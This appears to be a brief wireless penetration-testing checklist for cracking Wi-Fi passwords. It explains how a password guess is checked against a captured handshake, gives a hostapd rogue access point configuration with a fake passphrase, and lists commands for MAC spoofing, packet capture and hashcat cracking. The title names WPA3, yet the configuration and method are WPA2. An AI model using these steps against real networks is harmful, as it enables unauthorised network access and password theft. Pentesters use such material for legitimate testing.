Wi-Fi WPA3 Basic Wireless Pentest Checklist

For each password guess:

  1. The PMK is calculated from message 1 and 2 of the handshake
  2. The PTK is computed
  3. The first 128 bits of the PTK corresponds to the KCK
  4. The computed KCK is compared to the KCK extracted from the MIC in the captured handshake. If the KCK are the same then the password guess was likely correct.

Online brute-force might be necessary for verification of the password.

Setup rogue AP

# Interface and SSID Configuration
ssid=<SSID>
hw_mode=g
channel=<CHANNEL>
interface=wlan1

#WPA2 AP Configuration
wpa=2
wpa_key_mgmt=WPA-PSK

#CCMP for RSN Pairwise Suite and Open System Authentication
rsn_pairwise=CCMP
auth_algs=1

#Fake Key to get half-handshake
wpa_passphrase=FAKEPASSWORD
sudo ifconfig <interface> down
sudo macchanger -m <MAC> <interface>
sudo ifconfig <interface> up
sudo airodump-ng -c <channel> --bssid <MAC> <interface> -w <output file> 
sudo tcpdump -i <interface> -w <output file>
hostapd hostapd.conf
cowpatty -c -r <pcap>
hcxpcapngtool -o hash <pcap>
hashcat -m 22000 --force hash <wordlist>

Airgeddon

https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Features

Also supports this attack